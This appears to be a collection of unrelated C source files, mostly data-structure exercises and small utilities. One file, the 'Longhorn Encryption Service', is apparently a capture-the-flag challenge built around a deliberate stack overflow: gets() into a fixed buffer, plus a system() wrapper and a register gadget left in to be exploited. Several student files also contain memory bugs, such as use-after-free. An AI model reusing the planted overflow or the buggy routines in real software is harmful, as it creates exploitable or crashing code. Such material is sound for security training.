// merge is always in front of the insertion position
for (list *merge = NULL; left || right;) {
// right list hasn't reach the end or
// left node has found its position for inserting
if (right == NULL || (left && left->data < right->data)) {
if (!merge) {
// start points to the node with min value
// merge starts from min value
start = merge = left; // LL1
}
else {
// insert left node between merge and right point to
merge->next = left; // LL2
merge = merge->next;
}
left = left->next; // LL3
}
else {
if (!merge) {
start = merge = right; // LL4
} else {
// shift until right == NULL
// inset left between merge and right when min is in left sublist (LL1->LL5-> shift until right == NULL)
merge->next = right; // LL5
merge = merge->next;
}
right = right->next; // LL6
}
}
return start;
}
static void *opt_merge_sort(void *start, int list_len, int split_thres)
{
list *hd = (list *)start;
if (hd == NULL || hd->next == NULL)
return hd;
if (list_len <= split_thres)
return insertion_sort(start);
int right_len = 0, left_len = 0;
list *right, *left;
split(hd, &left, &right, &left_len, &right_len);
right = opt_merge_sort(right, right_len, split_thres);
left = opt_merge_sort(left, left_len, split_thres);
return sorted_merge(right, left);
}
static void list_free(void **head_ref)
{
list *cur = (list *)*head_ref;
list *tp;
while (cur != NULL) {
tp = cur;
cur = cur->next;
free(tp);
}
*head_ref = NULL;
}
static bool test(void **head_ref, int* ans, int len, bool verbose, Sorting *sorting)
{
list *curr = (list *)*head_ref;
if (!curr) {
printf("The linked list is empty!\n");
return false;
}
qsort(ans, len, sizeof(int), cmp);
*head_ref = curr = sorting->sort(curr);
int i = 0;
while (i < len) {
if (curr->data != ans[i]) {
return false;
}
curr = curr->next;
i++;
}
if (verbose)
sorting->print(*head_ref, true);
return true;
}
Sorting orig_sorting = {
.initialize = init,
.push = push,
.print = print,
.sort = merge_sort,
.insertion_sort = insertion_sort,
.opt_sort = opt_merge_sort,
.test = test,
.list_free = list_free,
};
|
C
|
/**
File: main.c
Project: DCPU-16 Tools
Component: Linker
Authors: James Rhodes
Description: Main entry point.
**/
#include <stdio.h>
#include <bstring.h>
#include <policy.h>
#include <parser.h>
extern int yyparse();
extern FILE* yyin, *yyout;
void print_value(policy_value_t* value);
void print_function(policy_function_call_t* call)
{
size_t i;
switch (call->function)
{
case FUNC_TOTAL:
printf("total");
break;
case FUNC_FIELD:
printf("field");
break;
case FUNC_CODE:
printf("code");
break;
case FUNC_WORDS:
printf("words");
break;
}
if (call->parameters != NULL && list_size(call->parameters) > 0)
{
printf("(");
for (i = 0; i < list_size(call->parameters); i++)
{
if (i != 0)
printf(", ");
print_value(list_get_at(call->parameters, i));
}
printf(")");
}
}
void print_value(policy_value_t* value)
{
size_t i;
switch (value->type)
{
case NUMBER:
printf("%i", value->number);
break;
case WORD:
case VARIABLE:
printf("%s", value->string->data);
break;
case TABLE:
switch (value->table)
{
case TABLE_ADJUSTMENT:
printf("adjustment");
break;
case TABLE_PROVIDED:
printf("provided");
break;
case TABLE_REQUIRED:
printf("required");
break;
case TABLE_SECTION:
printf("section");
break;
case TABLE_OUTPUT:
printf("output");
break;
case TABLE_JUMP:
printf("jump");
break;
case TABLE_OPTIONAL:
printf("optional");
break;
default:
printf("<unknown table>");
break;
}
break;
case FIELD:
switch (value->field)
{
case FIELD_LABEL_SIZE:
printf("label_size");
break;
case FIELD_LABEL_TEXT:
printf("label_text");
break;
case FIELD_ADDRESS:
printf("address");
break;
default:
printf("<unknown field>");
break;
}
break;
case LIST:
printf(" {");
for (i = 0; i < list_size(value->list); i++)
{
if (i != 0)
printf(", ");
print_value(list_get_at(value->list, i));
}
printf(" }");
break;
case FUNCTION:
print_function(value->function);
break;
default:
printf("<unknown value>");
break;
}
}
void print_instructions(int indent, list_t* instructions)
{
int i;
freed_bstring indentstr = bautofree(bfromcstr(""));
for (i = 0; i < indent; i++)
bconchar(indentstr.ref, ' ');
list_iterator_start(instructions);
while (list_iterator_hasnext(instructions))
{
policy_instruction_t* inst = list_iterator_next(instructions);
printf("%s", indentstr.ref->data);
switch (inst->type)
{
case INST_CHAIN:
printf("chain ");
print_value(inst->value);
printf("\n");
break;
case INST_OFFSET:
printf("offset ");
print_value(inst->value);
printf("\n");
break;
case INST_WRITE:
printf("write ");
print_value(inst->value);
printf("\n");
break;
case KEYWORD_FOR:
printf("for %s from ", inst->for_variable->data);
print_value(inst->for_start);
printf(" to ");
print_value(inst->for_end);
printf("\n");
print_instructions(indent + 4, inst->for_instructions);
printf("%sendfor\n", indentstr.ref->data);
break;
default:
printf("<unknown> ...\n");
break;
}
}
list_iterator_stop(instructions);
bautodestroy(indentstr);
}
list_t handle_code(void* userdata)
{
list_t words;
printf("code called\n");
list_init(&words);
list_append(&words, (void*)(uint16_t)0x0001);
list_append(&words, (void*)(uint16_t)0x0002);
list_append(&words, (void*)(uint16_t)0x0003);
list_append(&words, (void*)(uint16_t)0x0004);
list_append(&words, (void*)(uint16_t)0x0005);
list_append(&words, (void*)(uint16_t)0x0006);
return words;
}
list_t handle_field(void* userdata, int table, int index, int field)
{
list_t words;
printf("field called with %i, %i, %i\n", table, index, field);
list_init(&words);
return words;
}
void handle_offset(void* userdata, int position)
{
printf("offset called with %i\n", position);
}
int handle_total_table(void* userdata, int table)
{
printf("total called with %i\n", table);
return 3;
}
void handle_write(void* userdata, list_t words)
{
printf("write called with:\n");
list_iterator_start(&words);
while (list_iterator_hasnext(&words))
printf(" %u\n", (uint16_t)list_iterator_next(&words));
list_iterator_stop(&words);
}
void handle_error(freed_bstring error)
{
printf("ERROR OCCURRED!\n");
printf("%s\n", error.ref->data);
bautodestroy(error);
}
int main(int argc, char* argv[])
{
FILE* file = NULL;
policies_t* policies = NULL;
policy_t* policy = NULL;
policy_state_t* state = NULL;
if (argc < 3)
{
printf("usage: dtpolicy <file> <mode> [<policy>]\n");
return 1;
}
// Load policies.
file = fopen(argv[1], "r");
policies = policies_load(file);
fclose(file);
if (strcmp(argv[2], "print") == 0)
{
// Print out a list of settings.
if (policies->settings == NULL)
printf("== no settings ==\n");
else
{
printf("== settings ==\n");
list_iterator_start(policies->settings->settings);
while (list_iterator_hasnext(policies->settings->settings))
{
policy_setting_t* setting = list_iterator_next(policies->settings->settings);
printf("%s = %s\n", setting->key->data, setting->value->data);
}
list_iterator_stop(policies->settings->settings);
printf("\n");
}
// Print out a list of policies.
printf("== policies ==\n");
list_iterator_start(&policies->policies);
while (list_iterator_hasnext(&policies->policies))
{
policy_t* policy = list_iterator_next(&policies->policies);
printf(" - %s\n", policy->name->data);
}
list_iterator_stop(&policies->policies);
printf("\n");
// Print out each policy.
list_iterator_start(&policies->policies);
while (list_iterator_hasnext(&policies->policies))
{
policy_t* policy = list_iterator_next(&policies->policies);
printf("== policy: %s ==\n", policy->name->data);
print_instructions(4, policy->instructions);
printf("\n");
}
list_iterator_stop(&policies->policies);
}
else if (strcmp(argv[2], "execute") == 0)
{
if (argc < 4)
{
printf("need policy parameter for execution.\n");
policies_free(policies);
return 1;
}
policy = policies_get_policy(policies, bautofree(bfromcstr(argv[3])));
if (policy == NULL)
printf("no such policy '%s'.\n", argv[3]);
printf("== executing: %s ==\n", argv[3]);
state = state_from_policy(policy);
state->call_code = handle_code;
state->call_field = handle_field;
state->call_offset = handle_offset;
state->call_total_table = handle_total_table;
state->call_write = handle_write;
state->error = handle_error;
state_execute(policies, state);
state_free(state);
}
else
{
printf("unknown mode; expected 'print' or 'execute'.\n");
}
// Free policies.
policies_free(policies);
return 0;
}
|
C
|
#include<stdio.h>
#include<string.h>
#define MAX 1000
#define NAME_MAX 15
#define SEX_MAX 10
#define TELE_MAX 12
#define ADDR_MAX 30
enum Option
{
EXIT,//0
ADD,//1
DEL,
SEARCH,
MODIFY,
SHOW,
SORT
};
struct peoinfo
{
char name[NAME_MAX];
int age;
char sex[SEX_MAX];
char tele[TELE_MAX];
char addr[ADDR_MAX];
};
//ͨѶ¼
struct contact
{
struct peoinfo date[MAX];//һ˵Ϣ
int size;//¼ǰеԪظ
};
//
void InitContact(struct contact* ps);
void AddContact(struct contact* ps);
void showcontact(const struct contact* ps);
void DelContact(struct contact* ps);
void SearchContact(const struct contact* ps);
void ModifyContact(struct contact* ps);
void Sortcontact(struct contact* ps);
|
C
|
#include<stdio.h>
#include<malloc.h>
struct LL
{
int item;
struct LL *next;
};
typedef struct LL node;
int HasKNodes(node *head,int k)
{
int i;
for(i=1;head!=NULL && (i<k);i++,head=head->next);
if(i==k && head!=NULL)
return 1;
return 0;
}
node* GetKthNode(node *head,int k)
{
int i;
node *temp,*prev;
if(!head)
return 0;
for(i=1,temp=head;temp && i<k;i++,prev=temp,temp=temp->next);
if(i==k && temp!=NULL)
return temp;
else
return (prev);
}
node *LLKBlockReverse(node *head,int k)
{
int i;
node *temp,*nxt,*curr=head,*newnode;
if(k==0 || k==1)
return head;
if(HasKNodes(curr,k))
newnode=GetKthNode(curr,k);
else
newnode=head;
while(HasKNodes(curr,k) && curr!=NULL)
{
if(!HasKNodes(curr,k+1))
temp=NULL;
else
temp=GetKthNode(GetKthNode(curr,k),k+1);
i=0;
while(i<k)
{
nxt=curr->next;
curr->next=temp;
temp=curr;
curr=nxt;
i++;
}
}
if(!HasKNodes(curr,k))
{
temp=NULL;
while(curr!=NULL)
{
nxt=curr->next;
curr->next=temp;
temp=curr;
curr=nxt;
}
}
return newnode;
}
void display(node *head)
{
printf("\nList is \n");
while(head!=NULL)
{
printf(" %d ",head->item);
head=head->next;
}
}
void main()
{
int a=10,K;
node *head=(node*)malloc(sizeof(node));
node *temp,*temp2;
temp=head;
while(a--)
{
scanf("%d",&temp->item);
if(a>0)
{
temp->next=(node*)malloc(sizeof(node));
temp=temp->next;
}
}
printf("\nEnter the value of K .... ");
scanf("%d",&K);
temp->next=NULL;
display(head);
head=LLKBlockReverse(head,K);
display(head);
}
|
C
|
/**
* @file main.c
* @author João Pereira
* @brief Main file where all the project's features will be called
* @date 27/11/2018 22:24
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include "Customers.h"
#include "Trips.h"
#include "Structures.h"
#include "API_Leitura.h"
int main(int argc, char** argv) {
int contc = 0;
int tam_max = 0;
carrega_lancos();
Cliente *vetor = NULL; //Creates the array
printf(" _________________________________________________\n");
printf("| |\n");
printf("| Data Persistence |\n");
printf("|_________________________________________________|\n");
printf("\n");
ler_dados_cliente(&vetor, &contc, &tam_max);
menu_principal(&vetor, &contc, &tam_max);
free(vetor);
return (EXIT_SUCCESS);
}
|
C
|
#include <err.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#define MKNAM(a) { #a, TIOCM_ ## a }
static struct {
const char *name;
unsigned int bit;
} names[] = {
MKNAM(LE),
MKNAM(DTR),
MKNAM(RTS),
MKNAM(ST),
MKNAM(SR),
MKNAM(CTS),
MKNAM(CAR),
MKNAM(RNG),
MKNAM(DSR),
};
static void dump_tiocm(int tio)
{
int a;
printf("TIOCM: %.8x\n", tio);
for (a = 0; a < sizeof(names)/sizeof(*names); a++)
if (names[a].bit & tio)
printf(" %s\n", names[a].name);
}
static int get_tio_bit(const char *bit)
{
int a;
for (a = 0; a < sizeof(names)/sizeof(*names); a++)
if (!strcmp(names[a].name, bit))
return names[a].bit;
return 0;
}
int main(int argc, char **argv)
{
const char *tty;
int fd, tio, orig_tio;
if (argc < 2)
errx(100, "%s /dev/ttyS0", argv[0]);
tty = argv[1];
argv += 2;
argc -= 2;
fd = open(tty, O_RDWR);
if (fd < 0)
err(1, "open");
puts("Original value:");
if (ioctl(fd, TIOCMGET, &tio))
err(2, "ioctl(TIOCMGET)");
orig_tio = tio;
dump_tiocm(tio);
while (argc--) {
const char *val = *argv;
int bit;
if (*val != '+' && *val != '-') {
warnx("ignoring '%s'", val);
continue;
}
bit = get_tio_bit(val + 1);
if (!bit) {
warnx("ignoring '%s'", val);
continue;
}
if (*val == '+')
tio |= bit;
else
tio &= ~bit;
argv++;
}
if (tio != orig_tio) {
puts("Changing to:");
dump_tiocm(tio);
if (ioctl(fd, TIOCMSET, &tio))
err(2, "ioctl(TIOCMSET)");
puts("Changed to:");
if (ioctl(fd, TIOCMGET, &tio))
err(2, "ioctl(TIOCMGET)");
dump_tiocm(tio);
}
close(fd);
return 0;
}
|
C
|
#include <string.h>
#include <math.h>
#include <stdlib.h>
#include <ctype.h>
#include <stdio.h>
//A C example of rounding numbers
int main() {
float a = 9.65657;
float b = 4.3;
printf("A is %.2f \n", floor(a));//floor() always round down
printf("B is %.2f \n", floor(b));
printf("A is %.2f \n", ceil(a));//ceil() always round up
printf("B is %.2f \n", ceil(b));
return 0;
}
|
C
|
#include "password.h"
// generate a numeric salted hash password
char* GenerateSaltedHash(char* plainText, char* salt)
{
BYTE buf[SHA256_BLOCK_SIZE];
SHA256_CTX ctx;
char* hashed_plainTextWithSalt, *hash;
int i;
int plainTextLen = strlen(plainText);
int saltLen = strlen(salt);
BYTE plainTextWithSalt[plainTextLen + saltLen];
// allocation of hash password and numeric hash password
hashed_plainTextWithSalt = (char*)malloc(SHA256_BLOCK_SIZE +1);
hash = (char*)malloc(SHA256_BLOCK_SIZE*3*sizeof(char)+1);
if(hashed_plainTextWithSalt == NULL || salt == NULL || plainText == NULL || hash == NULL)
{
return NULL;
}
// concatenation of password and salt
for(i = 0; i < plainTextLen; i++)
{
plainTextWithSalt[i] = plainText[i];
}
for (i = 0; i < saltLen; i++)
{
plainTextWithSalt[plainTextLen + i] = salt[i];
}
// calculate hash password
sha256_init(&ctx);
sha256_update(&ctx, plainTextWithSalt, plainTextLen + saltLen);
sha256_final(&ctx, buf);
// copy hash password to the allocates memory
memcpy(hashed_plainTextWithSalt , buf , SHA256_BLOCK_SIZE );
hashed_plainTextWithSalt[SHA256_BLOCK_SIZE] = '\0';
// calculate numeric hash password
for(int i=0;i<SHA256_BLOCK_SIZE+1; i++)
{
sprintf(hash+i*3, "%d", (hashed_plainTextWithSalt[i]+228));
}
free(hashed_plainTextWithSalt);
return hash;
}
// generate random salt
char* getSalt()
{
FILE *f;
int max_length = 32; // Maximum length of salt
int i;
char randChar;
char *salt;
// allocation of memory for salt
salt = (char*)malloc(3*max_length + 1);
if(salt == NULL)
{
return NULL;
}
// get random salt
f = fopen("/dev/random", "r");
for(i = 0 ; i < 3 * max_length + 1 ; i += 3)
{
fread(&randChar, sizeof(char), 1, f);
sprintf(salt+i, "%d", (randChar+228));
}
fclose(f);
return salt;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
#include "graph.h"
int marked[];
void profundidade(Graph G, int v) {
int vizinho;
link t;
printf("Visitando o vertice %d\n", v);
marked[v] = 1;
//para cada vzinho de v ainda nao visitado chamar a funcao profundidade novamente
for(t = G->adj[v]; t != NULL; t = t->next) {
vizinho = t->w;
if(marked[vizinho] == 0) {
profundidade(G, vizinho);
}
}
}
int main(void) {
int v, w, i;
Graph G;
// read in graph
G = GRAPHscan();
GRAPHshow(G);
for(i = 0; i<G->V; i++)
marked[i] = (int *)malloc(sizeof(int) *G->V);
for(i = 0; i < G->V; i++) {
marked[i] = 0; //todos os nao visitados iniciam com 0
}
profundidade(G, 0);
return 0;
}
|
C
|
#include<stdio.h>
#include<stdlib.h>
#include<time.h>
int food(int num)
{
srand((int)time(0));
for(int i=1;i<=num;i++)
{
printf("%d ",rand()%10);
}
printf("\n");
return 0;
}
int main()
{
int num;
printf("please input the number of figure:\n");
scanf("%d",&num);
food(num);
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#define MAX_QUEUE 5
void priority_enqueue();
void priority_dequeue();
void display_priority();
int priority_queue[MAX_QUEUE];
void check(int);
int front = -1, rear = -1;
int main()
{
int n, ch;
while(1)
{
printf("\n1. ENQUEUE ELEMENT IN QUEUE\n");
printf("\n2. DEQUEUE ELEMENT FROM QUEUE\n");
printf("\n3. DISPLAY ELEMENTS OF QUEUE\n");
printf("\n4. EXIT\n");
printf("\nENTER YOUR CHOICE :: ");
scanf("%d", &ch);
switch(ch)
{
case 1:
printf("\nENTER VALUE TO BE INSERTED : ");
scanf("%d",&n);
priority_enqueue();
break;
case 2:
printf("\nENTER VALUE TO BE DELETED : ");
scanf("%d",&n);
priority_dequeue();
break;
case 3:
display_priority();
break;
case 4:
exit(0);
default:
printf("\nINVALID CHOICE....!!!!");
}
}
}
void priority_enqueue(int data)
{
if(rear >= MAX_QUEUE -1)
{
printf("\nQUEUE OVERFLOW...!!!");
return;
}
else if((front == -1) && (rear == -1))
{
front++;
rear++;
priority_queue[rear] = data;
return;
}
else
check(data);
rear++;
}
void check(int data)
{
int i, j;
for(i = 0;i <= rear;i++)
{
if(data >= priority_queue[i])
{
for(j = rear + 1;j > i;j--)
{
priority_queue[j] = priority_queue[j - 1];
}
priority_queue[i] = data;
return;
}
}
priority_queue[i] = data;
}
void priority_dequeue(int data)
{
int i;
if((front == -1) && (rear == -1))
{
printf("\nQUEUE IS EMPTY...!!!");
}
for (i = 0; i <= rear; i++)
{
if (data == priority_queue[i])
{
for (i = 0; i < rear;i++)
{
priority_queue[i] = priority_queue[i + 1];
}
rear--;
if (rear == -1)
{
front = -1;
}
}
}
printf("\n%d IS NOT FOUND IN QUEUE TO DELETE", data);
}
void display_priority()
{
if ((front == -1) && (rear == -1))
{
printf("\nQUEUE IS EMPTY...!!!");
}
for (; front <= rear; front++)
{
printf("%d",priority_queue[front]);
}
front = 0;
}
|
C
|
#include <stdio.h>
int main(){
int edad, cont = 0, cont2 = 0, cont3 = 0, cont4 = 0, cont5 = 0;
printf("Ingrese su edad: ");
scanf("%d", &edad);
while(edad != 0){
if(edad == 18){
cont++;
}else if(edad == 19){
cont2++;
}else if(edad == 20){
cont3++;
}else if(edad == 21){
cont4++;
}else if(edad == 22){
cont5++;
}
printf("\nIngrese su edad: ");
scanf("%d", &edad);
}
printf("\n18: %d\n", cont);
printf("19: %d\n", cont2);
printf("20: %d\n", cont3);
printf("21: %d\n", cont4);
printf("22: %d\n", cont5);
return 0;
}
|
C
|
#include "libft.h"
t_string *stringCatAlignR(t_string *dst, char *src, size_t addLength, char c)
{
size_t strLength;
strLength = ft_strlen(src);
if (addLength < strLength)
addLength = strLength;
if (dst->maxLen + addLength < dst->maxLen)
return (NULL);
if (!stringGrantSize(dst, addLength))
return (NULL);
while (addLength > strLength)
{
dst->str[dst->length] = c;
dst->length++;
addLength--;
}
ft_strcpy(&(dst->str[dst->length]), src);
dst->length += strLength;
return (dst);
}
t_string *stringCatAlignL(t_string *dst, char *src, size_t addLength, char c)
{
size_t strLength;
strLength = ft_strlen(src);
if (addLength < strLength)
addLength = strLength;
if (dst->maxLen + addLength < dst->maxLen)
return (NULL);
if (!stringGrantSize(dst, addLength))
return (NULL);
ft_strcpy(&(dst->str[dst->length]), src);
dst->length += strLength;
while (addLength > strLength)
{
dst->str[dst->length] = c;
dst->length++;
addLength--;
}
dst->str[dst->length] = '\0';
return (dst);
}
|
C
|
#include <unistd.h>
void ft_putwrd(char *src)
{
signed long long i;
i = 0;
while (src[i] && src[i] != ' ')
++i;
write(1, src, i);
}
int main(int argc, char **argv)
{
signed long long i;
if (argc == 2)
{
i = 0;
if (argv[1][0])
while (argv[1][i])
++i;
if (i != 0)
{
while (i != -1)
{
if (argv[1][i] == ' ')
{
ft_putwrd(&argv[1][i + 1]);
write(1, " ", 1);
}
--i;
}
ft_putwrd(&argv[1][i + 1]);
}
}
write(1, "\n", 1);
return (0);
}
|
C
|
#include <stdio.h>
int main(void) {
int i,n,sum=0,j,a;
scanf("%d%d",&a,&n); //enter starting value and final value
for(i=a;i<=n;i++)
{
int count=0;
for(j=1;j<=i;j++)
{
if(i%j==0)
{
count++;
}
}
if(count==2)
{
sum=sum+i;
}
}
printf("%d",sum);
return 0;
}
|
C
|
#include<stdio.h>
main(){
int i;
for(i=10;i>=0;i--)
{printf("%d\n",i);
printf("\a");}}
|
C
|
/*
Class: Player
Member Function: checkFreeBlock
Takes input the position ('pos') and checks if the position is occupied by a piece of the Player or not.
Returns true or false.
*/
bool Player::checkFreeBlock(pair<int, char> pos){
//Checks if the given position is free or not
if(this->reversePieces[pos] == "")
return 1;
return 0;
}
|
C
|
#include<stdio.h>
#include<stdlib.h>
typedef struct node nodo_t;
struct node{
int val;
nodo_t *next;
};
void crear(nodo_t *head,int v1,int lim){
//head=malloc(sizeof(struct node));
//pq no usar el malloc dentro de la funcion;
//cual es la causa de q al ser usado no haga ningun efecto
head->val=v1;
nodo_t *prev,*cur;
int i=v1+1;
prev=head;
while(i<=lim){
cur=malloc(sizeof(nodo_t));
cur->val=i;
prev->next=cur;
prev=cur;
i++;
}
prev->next=NULL;
//free(cur);
//pq cuando libero a cur
//sucede un bucle infinito **1
}
void concatenar(nodo_t *hx,nodo_t *hy){
nodo_t *prev, *cur;
prev=hx;
cur=hx->next;
while(1){
if(cur==NULL){
prev->next=hy;
free(cur);
break;
}
prev=cur;
cur=cur->next;
}
}
void inicio(nodo_t *head, nodo_t *xs){
xs->next=head;
}
void middle(nodo_t *head, nodo_t *xs){
nodo_t *prev, *cur;
prev=head;
cur=head->next;
int lim=len(head)/2;
int i=1;
while(cur!=NULL){
if(i==lim){
prev->next=xs;
xs->next=cur;
break;
}
prev=cur;
cur=cur->next;
i++;
}
}
void insertar(nodo_t *head, nodo_t *xs,int posicion){
nodo_t *prev, *cur;
prev=head;
cur=head->next;
int i=0;
while(cur!=NULL){
if(i==posicion){
prev->next=xs;
xs->next=cur;
break;
}
prev=cur;
cur=cur->next;
i++;
}
}
void eliminar(nodo_t *head,int pos){
nodo_t *prev, *cur, *victima;
prev=head;
cur=head->next;
int i=1;
while(cur!=NULL){
if(i==pos){
prev->next=cur->next;
victima=cur;
free(victima);
//cur->next=cur;
break;
}
prev=cur;
cur=cur->next;
i++;
}
}
int len(nodo_t *head){
nodo_t *t;
t=head;
int conta=0;
while(t!=NULL){
conta++;
t=t->next;
}
free(t);
return conta;
}
void imprimir(nodo_t *head){
nodo_t *t;
t=head;
while(t!=NULL){
printf("%d->",t->val);
t=t->next;
}
free(t);
}
int main(){
nodo_t *head_1;
head_1=malloc(sizeof(nodo_t));
int a=1;
int b=4;
crear(head_1,a,b);
imprimir(head_1);
printf("\n..............................\n");
nodo_t *head_2;
head_2=malloc(sizeof(nodo_t));
int x=8;
int y=13;
crear(head_2,x,y);
imprimir(head_2);
printf("\n..............................\n");
concatenar(head_1,head_2);
imprimir(head_1);
printf("\n..............................\n");
nodo_t *ini;
ini=malloc(sizeof(nodo_t));
ini->val=0;
inicio(head_1,ini);
int tam=len(ini);
printf("%d \n",tam);
imprimir(ini);
printf("\n..............................\n");
nodo_t *medio;
medio=malloc(sizeof(nodo_t));
medio->val=5;
middle(ini,medio);
imprimir(ini);
printf("\n..............................\n");
nodo_t *pos;
pos=malloc(sizeof(nodo_t));
pos->val=6;
int z=6;
insertar(ini,pos,z);
imprimir(ini);
printf("\n..............................\n");
eliminar(ini,z);
imprimir(ini);
return 0;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void caIIoc() {
asm("movq %rax, %rdi");
}
void execCommand(char *command) {
//OwO what is this?
system(command);
}
char *specialEncrypt() {
char plaintext[100];
fflush(stdout);
gets(plaintext);
char *cipherText = malloc(100);
size_t length = strlen(plaintext);
for(int i = 0; i < length; ++i) {
cipherText[i] = plaintext[i] ^ 0x41;
}
return cipherText;
}
int main(int argc, char **argv) {
setbuf(stdout, NULL);
printf("Welcome to the Longhorn Encryption Service!\nPlease enter a string for us to encrypt:");
char *cipherText = specialEncrypt();
setbuf(stdout, NULL);
printf("Here is your encrypted message: %s\n", cipherText);
return 0;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#define MAXSIZE 128
struct Qinfo {
int32_t *const buffer;
int front;
int rear;
int flag;
const int max;
void (*push) (struct Qinfo *self, int32_t data);
int32_t (*pop) (struct Qinfo *self);
int (*isFull) (struct Qinfo *self);
int (*isEmpty) (struct Qinfo *self);
void (*display) (struct Qinfo *self);
};
static void rb_push(struct Qinfo *self, int32_t data)
{
if(self->isFull(self)){
printf("ERROR: The ring buffer is FULL!\n");
return;
}
// add in rear
self->rear = (self->rear+1)%(self->max);
self->buffer[self->rear] = data;
// update flag
if(self->rear == self->front) self->flag = 1;
}
static int32_t rb_pop(struct Qinfo *self)
{
int32_t val;
if(self->isEmpty(self)){
printf("ERROR: The ring buffer is Empty!\n");
return 0;
}
self->front = (self->front+1)%self->max;
val = self->buffer[self->front];
// update flag
if(self->rear == self->front) self->flag = 0;
return val;
}
static int rb_isFull(struct Qinfo *self)
{
return ((self->rear % self->max == self->front && self->flag) ||
((self->rear == self->max-1 && self->front == -1)));
}
static int rb_isEmpty(struct Qinfo *self)
{
return (self->front == self->rear);
}
static void rb_display(struct Qinfo *self)
{
printf("Front(%d), Rear(%d), flag(%d), Buffer: ",
self->front, self->rear, self->flag);
for(int i = 0; i < self->max; ++i)
printf("%d ", self->buffer[i]);
printf("\n");
}
#define RINGBUF_DEF(name, size) \
int32_t name##_pool[size] = {0}; \
struct Qinfo name = { \
.buffer = name##_pool, \
.front = -1, \
.rear = -1, \
.max = size, \
.push = rb_push, \
.pop = rb_pop, \
.isFull = rb_isFull, \
.isEmpty = rb_isEmpty, \
.display = rb_display, \
};
int main(int argc, char **argv)
{
int opt;
int32_t data;
RINGBUF_DEF(rb, 16);
do{
printf("Options:\n"
"1)\tPush data\n"
"2)\tPop data\n"
"3)\tDisplay\n"
"4)\tExit\n");
scanf("%d", &opt);
switch(opt){
case 1:
printf("Enter the data: ");
scanf("%d", &data);
rb.push(&rb, data);
break;
case 2:
data = rb.pop(&rb);
printf("Pop data: %x\n", data);
break;
case 3:
rb.display(&rb);
break;
case 4:
printf("Bye Bye\n");
return 0;
default:
printf("Unkonw options!\n");
}
}while(1);
return 0;
}
|
C
|
void main()
{
int n=5,i,j;
clrscr();
for(i=1;i<=n;i++)
{
for(j=i;j<=n;j++)
{
printf("%d ",i);
}
printf("\n");
}
getch();
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct elemento{
char id[50];
int valor;
};
typedef struct elemento elemento;
struct nodo{
elemento dato;
struct nodo* sig;
};
typedef struct nodo nodo;
void encontrarEnLista(nodo** lista, char identificador[], int incremento, int fijar){
nodo* paux = (*lista);
while(paux && paux->sig){
if(!strcmp(paux->dato.id, identificador)){
if(!fijar)
paux->dato.valor += incremento;
return;
}
else
paux = paux->sig;
}
if(!paux){
(*lista) = malloc(sizeof(nodo));
strcpy((*lista)->dato.id, identificador);
(*lista)->dato.valor = incremento;
(*lista)->sig = NULL;
}
else if(!strcmp(paux->dato.id, identificador)){
if(!fijar)
paux->dato.valor += incremento;
return;
}else{
paux->sig = malloc(sizeof(nodo));
strcpy(paux->sig->dato.id, identificador);
paux->sig->dato.valor = incremento;
paux->sig->sig = NULL;
}
}
void borrarLista(nodo **lista){
nodo* paux = (*lista);
while(paux){
free(paux);
(*lista) = (*lista)->sig;
paux = (*lista);
}
}
void imprimirListaId(nodo **lista){
nodo* paux = (*lista);
if(paux)
printf("-ID\n");
while(paux){
printf("El id %s aparece %i vez/veces\n", paux->dato.id, paux->dato.valor);
paux = paux->sig;
}
}
void imprimirListaLCadena(nodo **lista){
nodo* paux = (*lista);
if(paux){
printf("-LITERAL CADENA\n");
printf("Literal Cadena -> Tamao sin comillas\n");
}
while(paux){
printf("%s -> %i\n", paux->dato.id, paux->dato.valor);
paux = paux->sig;
}
}
void imprimirListaTipo(nodo **lista){
nodo* paux = (*lista);
if(paux)
printf("-PALABRA RESERVADA: TIPO\n");
while(paux){
printf("%s\n", paux->dato.id);
paux = paux->sig;
}
}
void imprimirListaControl(nodo **lista){
nodo* paux = (*lista);
if(paux)
printf("-PALABRA RESERVADA: CONTROL\n");
while(paux){
printf("%s\n", paux->dato.id);
paux = paux->sig;
}
}
void imprimirListaOtra(nodo **lista){
nodo* paux = (*lista);
if(paux)
printf("-PALABRA RESERVADA: OTRA\n");
while(paux){
printf("%s\n", paux->dato.id);
paux = paux->sig;
}
}
void imprimirListaOctal(nodo **lista){
nodo* paux = (*lista);
if(paux){
printf("-CONSTANTE OCTAL\n");
printf("Valor octal -> Valor decimal\n");
}
while(paux){
printf("%s -> %i\n", paux->dato.id, paux->dato.valor);
paux = paux->sig;
}
}
void imprimirListaHexa(nodo **lista){
nodo* paux = (*lista);
if(paux){
printf("-CONSTANTE HEXADECIMAL\n");
printf("Valor hexadecimal -> Valor decimal\n");
}
while(paux){
printf("%s -> %i\n", paux->dato.id, paux->dato.valor);
paux = paux->sig;
}
}
void imprimirListaDecimal(nodo **lista, float acum){
nodo* paux = (*lista);
int mostrarAcum = 0;
if(paux){
printf("-CONSTANTE DECIMAL\n");
printf("Valor decimal -> Veces que aparece\n");
mostrarAcum = 1;
}
while(paux){
printf("%s -> %i\n", paux->dato.id, paux->dato.valor);
paux = paux->sig;
}
if(mostrarAcum)
printf("Suma total %f\n", acum);
}
void imprimirListaReal(nodo **parteEntera, nodo **mantisa){
nodo* paux1 = (*parteEntera);
nodo* paux2 = (*mantisa);
if(paux1){
printf("-CONSTANTE REAL\n");
printf("Valor entero :: mantisa\n");
}
while(paux1){
printf("%i :: %i\n", paux1->dato.valor, paux2->dato.valor);
paux1 = paux1->sig;
paux2 = paux2->sig;
}
}
void imprimirListaPuntuacion(nodo **lista){
nodo* paux = (*lista);
if(paux)
printf("-CARACTER DE PUNTUACION\n");
while(paux){
printf("El cdp %s aparece %i vez/veces\n", paux->dato.id, paux->dato.valor);
paux = paux->sig;
}
}
void imprimirListaOperadores(nodo **lista){
nodo* paux = (*lista);
if(paux)
printf("-OPERADORES\n");
while(paux){
printf("El operador %s aparece %i vez/veces\n", paux->dato.id, paux->dato.valor);
paux = paux->sig;
}
}
